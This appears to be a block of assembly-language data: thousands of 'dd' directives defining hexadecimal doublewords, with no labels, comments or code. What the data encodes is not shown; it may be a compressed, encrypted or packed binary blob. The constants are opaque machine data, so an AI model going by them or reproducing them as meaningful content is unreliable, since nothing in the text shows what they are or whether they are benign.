dd 971C4287h, 9D17A03Bh, 6B001682h, 0C8D0083Fh, 0B42849h
dd 0D29F7AF5h, 0C1EAA848h, 5A136300h, 0EB094E70h, 7AE43Dh
dd 0E1E6F032h, 56EF10C8h, 0B6C52500h, 0E9823F38h, 224F002Eh
dd 9418CD45h, 0D598B51Bh, 0BC1C780Ch, 79F9FBh, 9B8446FDh
dd 0F4EF4E25h, 1AE090B8h, 5F0083E0h, 227EBB92h, 7FE81Bh
dd 0C0C3FF48h, 2984E9A6h, 0D7F73300h, 22CF70F9h, 0B12801E0h
dd 85534DD9h, 69632031h, 0C91B610Ch, 34438E1h, 4F25BE50h
dd 0B3CF0908h, 0AFD87B76h, 6200F97Dh, 36A9A6C6h, 0CAB79Ah
dd 0CD94F22h, 0D5968611h, 43B20500h, 0FB60C247h, 0E91C00EEh
dd 937B6AE2h, 5D00F90Ah, 23FE28A3h, 2489ECDDh, 8445A5h
dd 185E0D4Eh, 7F002417h, 0A9153F5h, 73A40850h, 59C20056h
dd 0C694336h, 7C3B1228h, 0D95F003Fh, 1465C985h, 0D38704F7h
dd 9172B57Dh, 0C4A8FE58h, 30306194h, 0DD5190E0h, 0C6184852h
dd 0BFC9C600h, 1420E47Ah, 1E002271h, 0EDB15D62h, 126F2F71h
dd 0BE793h, 4D149264h, 38385733h, 81DBB89Bh, 0B8C9CC69h
dd 0DCD87665h, 0A5B91271h, 0B1604752h, 92AF0093h, 8A88C4A9h
dd 0C7A6078Bh, 207ABA1Eh, 7DDD50A1h, 0DE529100h, 51C599DAh
dd 9F8A0F7Eh, 48C06313h, 0C65D12FCh, 0FEB2811Bh, 2CA59938h
dd 0C40E60h, 6DDACAAAh, 47C0A4D7h, 6E79F00h, 99AD28FEh
dd 30817AAEh, 5EA827C9h, 8D006C75h, 3AE153B1h, 384FE015h
dd 58603530h, 82995AA0h, 482C2D39h, 6EB00148h, 369C2F6Ch
dd 0A83F60h, 0F9F81386h, 4FC592A7h, 0EC5A2400h, 0B9D164FDh
dd 0CD251ED6h, 8208C0A6h, 6C16DE6Fh, 0B4D05500h, 6380FB8Bh
dd 0E07489h, 0A81D432h, 6021C720h, 9E01AA12h, 2CEC2807h
dd 4BD18590h, 64300059h, 0E5D06C14h, 3FF415C5h, 2B7A3300h
dd 0ED450978h, 47D6A080h, 1A8400D9h, 652ADD87h, 360089EEh
dd 5B862976h, 767B03C0h, 0C382007Dh, 130B195Ch, 0AD00E0A8h
dd 8EFF440Fh, 12FB0969h, 1AF3394h, 0AB503A50h, 53C6E0BDh
dd 47153F04h, 6CD0A94Bh, 0CC162Ah, 65A84555h, 0F79FBD57h
dd 0C83ADF00h, 0A558A7A9h, 0B3600068h, 0DB1146F2h, 2005E0Fh
dd 0E627556Dh, 0EE802CA0h, 0E0E7DE5h, 0AD7F0BD0h, 0E0148447h
dd 0C18ADC50h, 0B80ED976h, 87284FD6h, 0FAA0CB1Dh, 1E1C0265h
dd 5EB0AC18h, 41A44Dh, 0D1F4E83h, 0D83B1BD7h, 26682CCCh
dd 1D862F01h, 0BDEC9CD1h, 3578A9h, 0BC79E312h, 0CDA8B52Eh
dd 9D309400h, 99439E02h, 0CE65198Ch, 0D95D6008h, 3296F0A5h
dd 0F503F890h, 0BCA0D7B9h, 1504D846h, 0D59885h, 0B6262BAAh
dd 0C97CB54Dh, 0D8E9801h, 2F49E301h, 240B8420h, 34FB14h
dd 2B435AFDh, 660736A0h, 0B1FA71A6h, 0F87286F0h, 5DCC00FCh
dd 2522D6D1h, 0DC098F32h, 0DED9BDh, 1B5F5AE0h, 7DA53052h
dd 0A8674C61h, 6321BA60h, 5D029Ah, 6505176Bh, 0EE54599Dh
dd 1923F41Ch, 514C3E03h, 0B1D3C872h, 1BB70099h, 1F27B22Eh
dd 0D0030284h, 0BA12D8F3h, 0BD5AA8CAh, 0B1CCA069h, 73D500E9h
dd 5535A3FEh, 3600EFDBh, 7E544447h, 5C93339Ah, 161FC929h
dd 87E2426Eh, 5C6161D0h, 35D3D053h, 92043400h, 19EE103Dh
dd 1A9605B3h, 80C97695h, 0FF21C40h, 4484F00h, 7311056Ah
dd 503F0118h, 0CD4B84FEh, 332B70BAh, 28D9221Ch, 44F41180h
dd 5AA369h, 8D9F0BFDh, 30B8833Fh, 9E339000h, 0F615035Fh
dd 0F74A14B3h, 0EF00A723h, 9071600Fh, 111EC03Ah, 98A6F0D1h
dd 36B1FF18h, 235500A2h, 290E0345h, 7D00A9F7h, 746A95BDh
dd 0C4705Ch, 0F4DA019Bh, 0F1039371h, 862D6500h, 7ADD4EEh
dd 0F44CFC42h, 0D25A0031h, 35E1B623h, 0F8582621h, 0AE4D045Dh
dd 0E8C058BBh, 723D8Ah, 79C8AFAAh, 0FAD88693h, 0A9001490h
dd 0FC293C1Bh, 5BF63Dh, 32F46C03h, 5C9278E7h, 0D0E36200h
dd 0E4863628h, 996B005Bh, 0B54C7981h, 0A0072096h, 0D0904B24h
dd 0A66CB21h, 129589E0h
dd 20A891DBh, 820CF27Ch, 0EAA77E0Bh, 1B1680D7h, 3EA8EC93h
dd 9C80D874h, 0F55BD625h, 3C02D4AEh, 0F6702441h, 28186034h
dd 0F61EC77h, 225D9CCFh, 7842B640h, 84300B18h, 17CEC8CAh
dd 80B4A137h, 90794CECh, 1C1C9B72h, 3AFB80C2h, 527015A3h
dd 47C8F050h, 0AF2A810Fh, 2CC164BFh, 0D1184891h, 6A2C5C0h
dd 0D039491Eh, 8300B092h, 0A9CA3E35h, 66F4B52h, 31D45CAFh
dd 88C0BCF7h, 0A5B35ADBh, 60534971h, 77433500h, 0E52CE439h
dd 1448702h, 44552378h, 8A070B04h, 0F2D613E7h, 3F75D700h
dd 193BD6D2h, 58FCEC2Dh, 59BBC4B1h, 0D09D7D00h, 5B6681B2h
dd 0CADA00F9h, 0B949B62Bh, 6F003918h, 409FF5EEh, 0A2E190h
dd 5BC17D06h, 0C4C5D23Dh, 1FBD11Ch, 2007258Eh, 1B58862Ah
dd 6FC6009Eh, 0B68D58Eh, 51009698h, 330643C3h, 588CFE15h
dd 0D10025CDh, 0C07913E4h, 7C074651h, 91A1ADDCh, 908B3B62h
dd 59B66CA4h, 0C600A49Ch, 6FF8EBDDh, 0DC006506h, 7708AABh
dd 4C9501BCh, 0AF24F452h, 5D0C28DDh, 0BA004850h, 1E413780h
dd 5B004DA4h, 0A739CF0Fh, 0F8ED5FD3h, 789600EFh, 5C5349E7h
dd 0C004D1A3h, 3FA4E302h, 0CC6540C0h, 31353069h, 0E580CE60h
dd 17001BF6h, 0A8A24071h, 92E19A39h, 0A066B030h, 724FA30h
dd 2113AE12h, 8AC06F8Fh, 0E4A0770Ah, 82A0724Ch, 303E4CC5h
dd 36045428h, 71E1517Dh, 83884CC0h, 73ED0099h, 1521C7Ch
dd 7A01BD4Ch, 0FD164D30h, 86D4E63Ch, 55D60143h, 0F6768B8Ch
dd 0B3A560E2h, 9E0B5807h, 0E514F250h, 5F6D4B81h, 4F43ECDh
dd 0C8D00069h, 510E6E4h, 5BF279BDh, 0FFF32800h, 61269624h
dd 173F0341h, 0A6447F10h, 1C7AC280h, 66F23100h, 5DFC953Bh
dd 486BFEAFh, 173ACF7h, 0FD348285h, 0C0392384h, 5800F57Eh
dd 59671786h, 17F2F4B4h, 9F34988h, 4441A2Ch, 0CD0F2346h
dd 0CBE3E8A1h, 0FFD7D45Dh, 91548B60h, 5300F57Dh, 0A7200736h
dd 14592FBh, 9FB4DF0Ah, 201D4B7Bh, 96002D18h, 0A96DCD36h
dd 1F3B4101h, 0C019BD5Bh, 0A1D4B946h, 5007677Eh, 800E1CEDh
dd 914183Bh, 0EC4F4970h, 6B6001F7h, 6E0C2034h, 0B790E02h
dd 802BB429h, 42359DFEh, 8060916Ah, 0FCEDAE17h, 190760D7h
dd 393B5DA3h, 280D7B30h, 3EF273A1h, 298230F8h, 926B8C61h
dd 606E22C1h, 4C00ACE7h, 95D23C64h, 0E9A2F2Eh, 2DBD0E9Eh
dd 4F04F860h, 280023A4h, 2F529E1h, 31F4A99h, 0FC15BA8Eh
dd 7EE3BCA2h, 0FEB270CFh, 0DE1C0491h, 0B10026E3h, 5BAF1B2Eh
dd 316900C6h, 0FE5C059Eh, 15031381h, 25DDC5C9h, 47E8D08Dh
dd 0F45A1DA8h, 183A03BCh, 0D898642Fh, 94077A6Fh, 0CF1E0C7Ch
dd 4C7EDE0h, 0D93200DCh, 749835BFh, 0AD0025BAh, 8C9AF95Eh
dd 0F7D438h, 316B9C24h, 72FB67E4h, 7A150D00h, 0D877E262h
dd 83C10094h, 63C94DD7h, 5B3F914Ah, 0EE6701FAh, 9A5E0D25h
dd 43B1CF0h, 84F8C292h, 102DC076h, 3774CE2Bh, 69C5500h
dd 9651804h, 52211E7Ah, 80BBDF60h, 4CBE1BADh, 0EA00B280h
dd 0DD401667h, 0DB320EFh, 2DF4E66Ah, 8FF9D098h, 0D6000173h
dd 0D9F37D47h, 75DF2286h, 3273007Ch, 0E9991985h, 7D0782EFh
dd 0D31A0B8Ch, 0F6AACE0h, 483060E0h, 0E16BF225h, 96C47809h
dd 8B18804Ch, 30987D17h, 860D2E0h, 453C2CA7h, 0DA99488h
dd 60CCDC60h, 0E3384Fh, 47D740F8h, 42DC0A1Bh, 25B1CF38h
dd 49700Bh, 0C73AC2E0h, 0CB7048F5h, 4260D516h, 0BC9A9100h
dd 0A3430Eh, 23CFECF0h, 215FB4AEh, 0B1C9A900h, 6A3A82BDh
dd 898B172Bh, 0A3A900ECh, 4E2E52FBh, 5494B807h, 0EF3006FFh
dd 58590Ah, 0DF5E703Ch, 3A035C22h, 3FC623Ch, 0BEA049Fh
dd 14B0967Bh, 0A0B72E47h, 8FD8AB01h, 0D1DC309Bh, 0D4B834C8h
dd 3AB7C61Ch, 8D2B0078h, 0A3A08E26h, 11C2019Bh, 0B11AEA35h
dd 3301C055h, 0F14F8F03h, 9034943Ah, 15D1E3EBh, 380C2B05h
dd 42BA3701h, 0DDC337Dh, 0F858EEh, 0C6B9B4A7h, 1774D998h
dd 480B4974h, 80F5C235h, 3C9AB7BCh, 10D4AB94h, 0C91A0861h
dd 0D4690238h, 85309039h, 5AD0C05Eh, 0D670B756h, 7BE72F00h
dd 88C89E10h, 7037011h, 3B0CA489h, 504B294h, 5F402C92h
dd 232A7D6Ch, 0B1302CD7h, 42992008h, 85DA03BAh, 0C4A856C8h
dd 0F89CA100h, 0AA92A7E9h, 38550087h, 0E2EC536Ah, 1670DD68h
dd 0AAD229C0h, 0F7DCF4h, 2EE134F2h, 61FCBB1h, 4A83FC00h
dd 0B271CD2Ch, 7E180C55h, 0E510483Fh, 90A82900h, 0F51776BAh
dd 4E8503CFh, 0D109B066h, 0E46C7E17h, 4C3B407h, 28D2C0DEh
dd 0BF6999h, 899E6D53h, 0CB5767C5h, 0F0ED2901h, 0A4817A25h
dd 56AED4h, 0CED0A972h, 43B70CD4h, 7100C6F2h, 0C25BA380h
dd 3E6D0863h, 64007FDEh, 0C19813C5h, 0A300EA6Bh, 576AC36Eh
dd 0FA826D2h, 0B9E082D9h, 8EAEE740h, 7F01C7A1h, 6E4B1F21h
dd 6930C1A8h, 0EA7D00C8h, 0C467C243h, 0D600BF3Fh, 726BED3Eh
dd 2D2309Dh, 0AE042923h, 1260D99Eh, 0ED004D54h, 0B10B711Fh
dd 1D35AC1Bh, 407BA43Ch, 3E1557D7h, 7800DBF3h, 0BB867CF9h
dd 9264F11h, 305FBD72h, 35048C81h, 39A06081h, 0ED15B900h
dd 80CD4AB5h, 0DE0B00B4h, 0A58F7E3Eh, 19071836h, 523AB14Ch
dd 711DAEB0h, 0EC200004h, 0F4E1C960h, 0E901AA5Bh, 68BDD766h
dd 45EC3D48h, 0CB160017h, 8EFE7744h, 546013FFh, 0C4B93F18h
dd 6CE41CA7h, 31E07C96h, 71E2DDAFh, 808C7B3Fh, 1D189583h
dd 0C021C6h, 4877B92Fh, 76DB43C7h, 0EF7EC200h, 9DE66B2Bh
dd 51E51FC0h, 0F05D1FE0h, 6952372Ch, 0EA5BD514h, 97BD0094h
dd 0E55064A9h, 184A2805h, 0B4F700A0h, 52DE601Ch, 0B1D2712h
dd 4794B7C7h, 9A1D0094h, 0F0347803h, 1FF0063h, 0EF092B77h
dd 0F7002C35h, 1E4C5098h, 3E10DBD9h, 0FC37F6E6h, 0CC7AE018h
dd 9E00D12Ah, 0CFB6044Eh, 7B7565h, 4374B272h, 0DBE03DEEh
dd 8A008CECh, 75778021h, 12915F1h, 0FF34357Ch, 7F0AA8h
dd 3C7D05E6h, 0D31E556Bh, 0A9C1C01Fh, 0B27938CEh, 0DD4F2E00h
dd 0EFD0B811h, 0B9F4000Bh, 717155Bh, 78E06155h, 72963000h
dd 9BA41F82h, 0A5BA07F9h, 0C15D08CBh, 80D078FFh, 617A5BA0h
dd 3CC9A39Bh, 0B00077E9h, 0E7A404FCh, 0A7184039h, 6308321Eh
dd 5B7300BDh, 9054F62h, 19076E80h, 3AE876B6h, 3EB7FDC0h
dd 2C1C0578h, 213D985Eh, 0F4EF5D88h, 297D1257h, 3B499100h
dd 4BBFD5E5h, 0CEB10052h, 60FACBE7h, 0C2051BA5h, 892F5E1Fh
dd 580046ECh, 6109CAABh, 0F700F272h, 0FF01AE60h, 4C6CC20Bh
dd 6D07BE1Bh, 20E0E4F0h, 0B3FC8653h, 778DE4FFh, 75B0E607h
dd 26D07A08h, 279B1Ah, 700D684Bh, 12C22CD9h, 0A3EEBE00h
dd 8F29A5B0h, 14AA039Ch, 0C06FF956h, 7AE86CE3h, 65075F60h
dd 81CCC1D7h, 485021B7h, 5B8361h, 7DF45CE9h, 52C562CFh
dd 0DC3D2300h, 3F2B4C85h, 0A99D0193h, 19890B61h, 3ACC30DEh
dd 595F8300h, 0A452B815h, 5103006Ah, 0F46E7CCh, 0D3007933h
dd 2BEE8950h, 763D82Fh, 0BB6783ABh, 72CC30F7h, 0C4007BDAh
dd 10E5F918h, 2586259h, 22894293h, 0C1C04E3Bh, 38000E35h
dd 2C5BAD50h, 7834142Ah, 2B50145h, 0CCD30F8Ah, 72788004h
dd 30107F16h, 0C3F3010Dh, 35AAC73Dh, 0D6D08261h, 40EA060Fh
dd 0F5FC3Fh, 99FFF62Fh, 1F20C155h, 313BDD03h, 6E97D0h
dd 0C2A53ED0h, 30CFFC93h, 7213B507h, 23A06D69h, 60ACA62Eh
dd 0FCF5303Ah, 0AB004AC7h
dd 0EA055CC0h, 0F471A9Bh, 2DE5D4F7h, 27309A80h, 95009981h
dd 311C5CFFh, 73F0B91h, 2C17F907h, 88D0C10Eh, 37E6C06Ch
dd 0B6890600h, 5BA46A14h, 45190102h, 2D7922E7h, 0CE66D4F0h
dd 4E005C7Ch, 0C09593CDh, 0EBCB73h, 981D0B4h, 5A30E36Eh
dd 68ED7218h, 2C7D59h, 0D28DA26Bh, 0B2977B0Eh, 8556B10Ch
dd 7C9846h, 0E6CCE359h, 9065A317h, 916D4402h, 80F35A4Bh
dd 8AFFEFFEh, 0CFF8180Bh, 0AE6F98A3h, 14334302h, 60CC7D2Eh
dd 0C0C33497h, 41C46071h, 0F900CF23h, 0B2A5AAD4h, 60F59815h
dd 0DE47C163h, 2DE64A73h, 0C7E0FD00h, 0ADC650B2h, 0EF8102D2h
dd 0C4BD7E71h, 7EE55810h, 3DD6101Dh, 71FD8685h, 334E3E20h
dd 3A9E1F80h, 29F467D5h, 81095124h, 9BA02D18h, 0D8640096h
dd 0C1627FB3h, 0EB00CFB9h, 50AB71BFh, 270CB6h, 21347097h
dd 1D3549ACh, 4CF92E38h, 652E7507h, 5204618Dh, 13C76454h
dd 5BFEDA50h, 0A44A0014h, 0CCAE7B7Dh, 1500B1ACh, 9C6BE6Dh
dd 78C8165Dh, 0C020C7E8h, 85BC70A0h, 1E00D025h, 0D77C9AF3h
dd 94E7EBh, 12C63D1Bh, 0D12382FBh, 9AFD5007h, 0A86048F6h
dd 8E7B62h, 47C1C984h, 0BD92F90Eh, 0D22EAE1Eh, 51CEED43h
dd 336BC843h, 0AD9B1E8Dh, 473AFAB5h, 20D8E98Ch, 0DD28A440h
dd 0C7009730h, 0DE9EA3FFh, 4A073Dh, 0A0F402D0h, 0D5490F2Bh
dd 2000D798h, 24BF65E9h, 5CF2EB7Bh, 49600671h, 9C74AD7Dh
dd 30C81519h, 0A8C49B10h, 88670181h, 1F03F9FBh, 8482D101h
dd 0AA857531h, 6FDA080h, 2AFC1418h, 0B9288C71h, 266404E8h
dd 83E414C3h, 38D0626Dh, 7D1CEF6Fh, 55004BE0h, 0AECA7394h
dd 92D501D2h, 0ECD674ACh, 454040C6h, 571017A7h, 0E6C502D8h
dd 3AB000ECh, 0BD9EA6F3h, 0A4FC4100h, 0F10749CAh, 0AAE4A048h
dd 0B7078613h, 836BE0ABh, 4FFF58E8h, 0FC00EE90h, 0C7EEBA54h
dd 0F8CE71Ah, 0DB2220F9h, 3960046Ch, 5100737Eh, 78C64447h
dd 0B80A714Fh, 3A3317F4h, 23F500AEh, 2A07C219h, 0FFE02F02h
dd 0E0BBB356h, 266FEh, 990F36B5h, 658AB4DCh, 29EA0B01h
dd 0E881653h, 394037D0h, 2400016Ch, 43E03EB6h, 5D01DC8Bh
dd 901B0704h, 9DE476D5h, 0B7DA0095h, 0C2860648h, 0E4F130E0h
dd 7300415Eh, 17CB7994h, 1C332547h, 0FC00460h, 3880236Eh
dd 4863D106h, 7F53F900h, 0E3B1C5C6h, 943B01B7h, 6DC21702h
dd 417DF081h, 76295400h, 42F68526h, 45A74CFBh, 9DF3E800h
dd 40E23545h, 0B7B60500h, 488B827Dh, 5218C0B3h, 2A1E3CF8h
dd 2C7BBDE2h, 0ED9B3100h, 0C2A26295h, 2840C068h, 80251C8Fh
dd 48BE8500h, 8D05BCC9h, 0F3E41C9Ch, 0CDB800EEh, 0A177150Ah
dd 75DFB000h, 0C409929h, 0E2370043h, 6D367064h, 220217FFh
dd 14C68457h, 47336061h, 3D8B00C0h, 82747CD2h, 7A63ABA8h
dd 0F8E56BD0h, 0F2DB0B97h, 0A759C0B1h, 11B00785h, 52167600h
dd 0DBFA102Ch, 4D7A0044h, 0B9DCEF4Ch, 5B028E89h, 2580A39Eh
dd 6246E07Fh, 0B34B001Eh, 0E4973D75h, 7B3AC8EEh, 0A3DC07E5h
dd 0F3C00590h, 156934Ah, 0BD12F028h, 0CCDABF10h, 551F7143h
dd 64C00763h, 77BC9B06h, 90A40925h, 9A0860D8h, 0D79C0010h
dd 7E64BEECh, 0CF8058DFh, 0D0059177h, 49AE3C32h, 6D8A5A00h
dd 130F7A7Eh, 0A4510900h, 70D8E012h, 0B8810066h, 5A8489BEh
dd 9D6030CAh, 0F77D2548h, 0D33F01C2h, 3B4D6E41h, 5318D01Ch
dd 0A2908F00h, 0F10105B6h, 7E200031h, 911197F6h, 0B0D80C19h
dd 86C73650h, 0D6FEC902h, 181C35E3h, 0F3836226h, 0B5CE0BDh
dd 17552461h, 0C0FB1D1Fh, 16BF1B0h, 3E768C38h, 0B8C78F00h
dd 32841F35h, 36C91697h, 5AB899h, 0F60E96F4h, 790221Bh
dd 0E3E2AA2Ch, 0BCD990BBh, 8E0079E0h, 22F71E71h, 6ADAD3h
dd 1862124h, 95057C97h, 23FFC200h, 0EDAAA373h, 0E82C1730h
dd 0A0E50EBBh, 0C7DF40EEh, 0D00E20C7h, 2A5DAFE4h, 0C6558300h
dd 141CFAFFh, 6BD0075h, 153D6DB2h, 8200F45Dh, 9D03A533h
dd 1F99A8C0h, 3D60554Bh, 596E16h, 0B13701A8h, 0BF0F9413h
dd 232C6523h, 7EB15h, 1DBE2240h, 0E0A9DFBBh, 0C4E2438h
dd 21899143h, 0D6C600E4h, 30DB8C04h, 0A7186F11h, 0CC4824C1h
dd 7B02860Eh, 82261E53h, 344F18E4h, 3F0C4B80h, 133AD306h
dd 5E60A00h, 90FBAECFh, 5A816800h, 1F834060h, 7D6E00DBh
dd 291CF253h, 1E3CC7B8h, 49798E9Bh, 0C642A0B4h, 0B36985h
dd 0FECE14F3h, 8A885C61h, 29202107h, 6A30F8F5h, 0EFD25h
dd 7449906Fh, 0B11DE1D5h, 8700C8F2h, 0CBE9ABEAh, 3BC22Bh
dd 996C17D6h, 0A355CA01h, 6A771E00h, 418011ECh, 848D003Eh
dd 475A5778h, 1F00D8F8h, 0F068CAB0h, 1059C9h, 7A11AD95h
dd 1E9E3201h, 850ED601h, 20089AA1h, 0B3BCECh, 81EA0305h
dd 0EC4400Dh, 27103F00h, 4C7A9FB4h, 0B8430123h, 0E4BBD836h
dd 0D6387065h, 40631D00h, 0A47F4AE3h, 3FED0061h, 46F44FA1h
dd 0C1007A1Ch, 26956FACh, 9849DAh, 58238D70h, 6DB05138h
dd 0D0078F2h, 610465F4h, 3F2974h, 9EDE57F6h, 0E639E319h
dd 1BA28C01h, 0AE220849h, 721AB880h, 0F76F37D6h, 3B7D2BE6h
dd 0DDF6D57Ch, 0B35D100h, 7FCB5F05h, 8DE290h, 152AF46Ch
dd 8CDAE7F7h, 9F307A28h, 5C3B6100h, 2CBBEBA5h, 40EE00EFh
dd 5975FCF6h, 0ED0FDD3Fh, 0C063FD96h, 0D95C05C4h, 65980Dh
dd 6B885685h, 1648B78h, 0CDD23901h, 0E80CE5F3h, 2EF460h
dd 6BA1B49Ah, 0A4019644h, 0C7B3D107h, 0C9D05133h, 38616CD3h
dd 49058FCEh, 0C72C7FA6h, 0D52F2355h, 0CA2E2900h, 0F7616BD4h
dd 1B0B4024h, 10666920h, 11CEAF3Ch, 1008A2D2h, 870C05C5h
dd 44075129h, 0F030861Ch, 0CA1279D2h, 23A62848h, 0E1563728h
dd 51C9D629h, 0A6E3080Eh, 142F4A4Ah, 79B0CF0Ch, 0D0FB311Eh
dd 10260B50h, 8065E2CBh, 0DD086B7Fh, 43C25132h, 0A1115BABh
dd 447645B7h, 0EE0EF622h, 20AD6BD7h, 8F95421Eh, 159000EFh
dd 0D27650DFh, 100CFA7h, 2AA22989h, 3B68A9DDh, 0A0807034h
dd 0FD991A67h, 0CDF49844h, 7CDB3F00h, 26EE0C42h, 454D012Fh
dd 0F3258409h, 951EC899h, 0F43660Fh, 0DD29A08Eh, 9878224Bh
dd 8C3A0189h, 0AA133720h, 83CBC09Fh, 0BE584E03h, 0BBC6252Fh
dd 0FBA988EAh, 917D0E70h, 4280C568h, 5231E3C0h, 9946B500h
dd 4A69FFD5h, 0A4A5014Fh, 0F1CEA89Ah, 0AC01E4D1h, 4503C800h
dd 0DB16F708h, 7E7B0F9h, 4D12BE47h, 9F352073h, 5F01BAD8h
dd 2D1D9884h, 9AD01385h, 0E276E249h, 82DA0099h, 5E8C0760h
dd 4A079F2Bh, 88FF402Ch, 0A6164211h, 9F9F0E0h, 451A1B21h
dd 0F7FD2480h, 1F787819h, 6F529900h, 2261DEB3h, 5E7D1898h
dd 0B0A82820h, 0BC9E31Fh, 0F92FCD80h, 73C72Ah, 0B33287F0h
dd 4B81549h, 0CD96C160h, 0D4FAD0h, 50B5B901h, 0F98869DDh
dd 0F5CFE8C0h, 72C699h, 0F0A4EF58h, 0B35A4164h, 9F764A00h
dd 784CBAE6h, 0D3FC2Bh, 0BCB82AE8h, 0AC6E7DC4h, 0B59E960Fh
dd 80C02BB1h, 8A05E26Ah, 0EAEB5CCDh, 0DCAEF00h, 10064D58h
dd 7E79B800h, 0C409A5E3h, 45CD00B4h, 0E808B25Ah, 0D3007305h
dd 6CACE952h, 0BBD7EDh, 0C3267F8h, 82937D09h, 0DFA81A00h
dd 0EC1EB715h, 2C451340h, 0FB660034h, 0CA8C6064h, 0C2624E2Ch
dd 754B1900h, 4350E2h, 0DFEAC5CCh, 0C8E9CF25h, 0ABDB7F00h
dd 4A4E81D5h, 30B40F35h, 5354A6h, 0FF945A24h, 1F057387h
dd 930BAFF6h, 0B0959400h
dd 8868B3h, 8261B4F8h, 0F11C6EC7h, 23124000h, 1EC42FA1h
dd 4BB024h, 83156389h, 51214F27h, 0E55F660Fh, 103DA03Bh
dd 335DE304h, 13D22E57h, 0A4C53400h, 80AB3A11h, 0F31E509Fh
dd 0FAA503ACh, 5EE483A1h, 5AF403E5h, 17D056A0h, 8917182Eh
dd 0FB005FE1h, 7AA8B27Eh, 87F872h, 1413ACA5h, 2CDDEFA3h
dd 0BE53BB07h, 0C1079A5Ah, 38F85DC0h, 8D4F0076h, 8E889722h
dd 890096A3h, 0AE166B4Bh, 0C0837F5Eh, 676255F6h, 37003530h
dd 1159D85Ah, 46A7DEh, 429321E8h, 0A90E2ACFh, 803D6938h
dd 9213D552h, 1621AED4h, 4897FBh, 23515464h, 0B600849Ch
dd 0A4037598h, 1C8CACEFh, 24976109h, 353E3E3Ch, 4E4C800h
dd 0B1515B50h, 90427900h, 7E2EC6B5h, 0EA7F0E3Ah, 5A0FE33h
dd 0D5E6140Eh, 3D2A9300h, 0EBF7CCB5h, 7B200074h, 0B165C611h
dd 8F7DC86Ch, 0E95A3A00h, 2F50D38Bh, 0FAF00009h, 0E70563C5h
dd 7000A0CEh, 87E9D24Fh, 198623h, 8A263FC0h, 4BD101EDh
dd 46AFC605h, 12C03E13h, 0F44ECF3h, 0F2E7931h, 5D4C0172h
dd 6054CD4Ch, 0BAE0993Ah, 80846D2Fh, 0CBD849DBh, 28AB48C0h
dd 0C0DB8D1Eh, 0BCB4BA18h, 0DF00792Dh, 0B8ED97BDh, 7B19899Ch
dd 0DE660E61h, 0C0DD1047h, 0C0657499h, 8A494D43h, 0B5440030h
dd 6E068CA6h, 98740AD9h, 9C0EBDFh, 2827A31Fh, 8D728059h
dd 6AEEE9BBh, 1B4023Bh, 81857136h, 0A7ED4149h, 703FC0h
dd 585E87B1h, 0DFFB0EEh, 0D89BE200h, 699CA16Fh, 312F00F6h
dd 0AF24B8C1h, 1C07A943h, 0FF1BF5C9h, 0EDE67300h, 94680022h
dd 0A4572D14h, 74002C3Ah, 69D9AF33h, 7BD46CF5h, 3ECE451h
dd 6E1241BCh, 0AEB0D616h, 0A702C95Bh, 91DDFB9h, 0C545C08Dh
dd 49D1EB0h, 7585C0DDh, 5317FC45h, 889CC00h, 0CEB550E1h
dd 0FB2C00B3h, 1A1CD42Eh, 0A4245C77h, 0F6011501h, 0D0C1A0F5h
dd 92309F71h, 323402F4h, 83D1A168h, 0F97CEEE0h, 0A9D69900h
dd 507954CCh, 0AEB61FACh, 0C27240ABh, 915A7532h, 0CB5D2100h
dd 0B6ED73BAh, 0B73000ACh, 6B4F4ED9h, 8401D834h, 0B846B11Bh
dd 87F4F578h, 0EF6D39BEh, 4E682801h, 20FFDED6h, 700015D8h
dd 33E7F5B2h, 830885h, 0BED8C58Bh, 94B5F8ECh, 3995F300h
dd 0A0EA9E93h, 0EE7D01B1h, 805A8AD0h, 7A29E851h, 9DF33417h
dd 8C363403h, 5A46E01Ah, 7C1000CDh, 0E7746AD2h, 609A6FF2h
dd 9E685E0Fh, 0DC45E036h, 5C0ABF34h, 0E10F3169h, 68C0972Ch
dd 2A448415h, 0F5E89F00h, 0D8D5864Ah, 8E022C50h, 3D4000F2h
dd 660D1277h, 0B273F900h, 74191F3h, 0BDA60035h, 16219D92h
dd 0D0E6E4BAh, 5B4D7F00h, 0F9AFD9F1h, 0CB9201BFh, 9F88A46Ah
dd 0A0208015h, 239AFE51h, 977127h, 0E1EA01B6h, 0AF12292Bh
dd 9E7F0F05h, 0E003DA21h, 1624D311h, 0F550B1h, 0BD1663FCh
dd 42003C9Eh, 0C6B37FD4h, 4A7456h, 945D6D7Dh, 85ECF445h
dd 0B7E31700h, 0AB444667h, 2E5000EDh, 62F50656h, 0C00C616h
dd 79DFDC3Bh, 0BDE731h, 0C50AD63Ch, 8C454998h, 7265AD00h
dd 0FFF72999h, 0E16B036Fh, 0F6C9E782h, 0D9C52788h, 690D500h
dd 3E70FF36h, 0E41100DFh, 0CA28D35Ah, 0FE71013Ah, 44ECFD50h
dd 55B7CB00h, 0B03615E4h, 0CADB00E8h, 192AA828h, 70E08E2Fh
dd 4041AA00h, 0D19C4A8Ah, 9EB63F34h, 5835F180h, 2397F65Fh
dd 44BD4500h, 32392A9Dh, 0D3CD00B1h, 1A59F8AAh, 78038C0Ch
dd 1446BB20h, 0E6D4887Bh, 4DE53099h, 64B5182Ch, 0FB7EFA0Eh
dd 2145A006h, 383A6D0h, 582623DFh, 60A8028Dh, 5BFE796Bh
dd 5EF64C03h, 91EC841Ch, 31E0214Dh, 0FA675C7Bh, 2235A801h
dd 2026B1C3h, 0CCE57F77h, 43036A2Bh, 0B0AB7D94h, 7033F8EEh
dd 0B6FE3E88h, 39CC780h, 1B250A1Ch, 511E9200h, 0D74CD3F6h
dd 71F58A8h, 40944E1Ch, 6ECA2C75h, 3A1C92ECh, 9E8B9B58h
dd 5B00D5A8h, 898AE24Eh, 327F7301h, 471B69F5h, 731126CCh
dd 79B770B8h, 958B00E6h, 258DA05Fh, 143ACCFBh, 452713C9h
dd 66CA8600h, 409C09h, 0E2ECE86Bh, 0E1AF7F30h, 491B5106h
dd 0B9AD5ADh, 0EF2A02CAh, 0D2147C80h, 0B6CEB56Dh, 0E5AEF3h
dd 27A9D4B2h, 0CCAC48CFh, 26902Eh, 0F0122CDEh, 4C038D24h
dd 40F3B189h, 418E90D6h, 38AB0016h, 0B0D8ECA6h, 23170178h
dd 1F0FBE9Dh, 2DC1623Ch, 8323C08Eh, 778A1F81h, 3119624h
dd 1F6E902Fh, 1A200DF8h, 2057862Eh, 54DF6A40h, 6F370032h
dd 79CC61DAh, 0C400121Ah, 5966292h, 2E0F3CD3h, 48441Dh
